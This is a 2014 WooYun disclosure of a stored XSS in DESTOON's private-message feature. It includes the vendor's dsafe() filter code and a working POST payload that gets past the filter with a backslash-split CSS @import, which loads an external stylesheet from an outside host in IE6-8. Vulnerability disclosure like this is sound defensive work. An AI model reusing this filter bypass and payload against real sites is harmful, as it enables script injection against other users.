当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-066441

漏洞标题:DESTOON 20140625版本站内信XSS

相关厂商:DESTOON

漏洞作者: jjf012

提交时间:2014-06-27 17:30

修复时间:2014-08-11 17:32

公开时间:2014-08-11 17:32

漏洞类型:xss跨站脚本攻击

危害等级:低

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-27: 细节已通知厂商并且等待厂商处理中
2014-06-27: 厂商已经确认,细节仅向厂商公开
2014-07-07: 细节向核心白帽子及相关领域专家公开
2014-07-17: 细节向普通白帽子公开
2014-07-27: 细节向实习白帽子公开
2014-08-11: 细节向公众公开

简要描述:

只测试了ie6,弹了个框框。

详细说明:

function dsafe($string) {
if(is_array($string)) {
return array_map('dsafe', $string);
} else {
$string = preg_replace("/\<\!\-\-([\s\S]*?)\-\-\>/", "", $string);
$string = preg_replace("/\/\*([\s\S]*?)\*\//", "", $string);
$string = preg_replace("/&#([a-z0-9]+)([;]*)/i", "", $string);
if(preg_match("/&#([a-z0-9]+)([;]*)/i", $string)) return nl2br(strip_tags($string));
$match = array("/s[\s]*c[\s]*r[\s]*i[\s]*p[\s]*t/i","/d[\s]*a[\s]*t[\s]*a/i","/b[\s]*a[\s]*s[\s]*e/i","/e[\\\]*x[\\\]*p[\\\]*r[\\\]*e[\\\]*s[\\\]*s[\\\]*i[\\\]*o[\\\]*n/i","/on([a-z]{2,})([\(|\=|\s]+)/i","/about/i","/frame/i","/link/i","/import/i","/meta/i","/textarea/i","/eval/i","/alert/i","/confirm/i","/prompt/i","/cookie/i","/document/i","/newline/i","/colon/i","/\\\x/i");
$replace = array("s<em></em>cript","da<em></em>ta","ba<em></em>se","ex<em></em>pression","o<em></em>n\\1\\2","a<em></em>bout","f<em></em>rame","l<em></em>ink","im<em></em>port","me<em></em>ta","text<em></em>area","e<em></em>val","a<em></em>lert","/con<em></em>firm/i","prom<em></em>pt","coo<em></em>kie","docu<em></em>ment","new<em></em>line","co<em></em>lon","\<em></em>x");
return preg_replace($match, $replace, $string);
}
}


翻译了一下。
"/script/","/data/i","/base/i","/e[\]*x[\]*p[\]*r[\]*e[\]*s[\]*s[\]*i[\]*o[\]*n/i","/on([a-z]{2,})([\(|\=|\s]+)/i","/about/i","/frame/i","/link/i","/import/i","/meta/i","/textarea/i","/eval/i","/alert/i","/confirm/i","/prompt/i","/cookie/i","/document/i","/newline/i","/colon/i","/\x/i"
然后发现了import没防\

action=send&typeid=-1&message%5Btouser%5D=destoon&message%5Btitle%5D=test123&message%5Bcontent%5D=<STYLE>%40imp\ort'http%3a//ha.ckers.org/xss.css'%3b</STYLE> &message%5Bcopy%5D=1&submit=+%E7%A1%AE+%E5%AE%9A+

漏洞证明:

QQ截图20140627172542.png


看sheet上是ie6到8都有效。

修复方案:

插入更多的反斜杠吧。

版权声明:转载请注明来源 jjf012@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2014-06-27 20:05

厂商回复:

感谢反馈,我们会尽快修复

最新状态:

暂无


漏洞评价:

评论

  1. 2014-06-27 17:46 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    IE6XSS也能上首页了……哭瞎了。。。我之前发的通杀destoon不上

  2. 2014-06-27 18:01 | jjf012 ( 实习白帽子 | Rank:39 漏洞数:10 )

    @phith0n 也就ie6-8行了。国内ie6是特殊情况。

  3. 2014-07-19 17:13 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    @phith0n 不哭 继续努力,我是你忠诚的粉丝